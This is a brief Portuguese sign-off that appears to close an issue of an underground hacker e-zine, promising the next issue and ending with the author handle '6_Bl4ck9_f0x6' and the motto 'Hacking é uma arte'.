At a proxima edio da minha, da sua, da nossa revista hacker numero 1 baby...;)
Ah! Um dia eu ainda vou ser da THC (Tomara manoh!! =).
                                                                    
                                                              Hacking  uma arte ;)
                                                                     by        
                                                               6_Bl4ck9_f0x6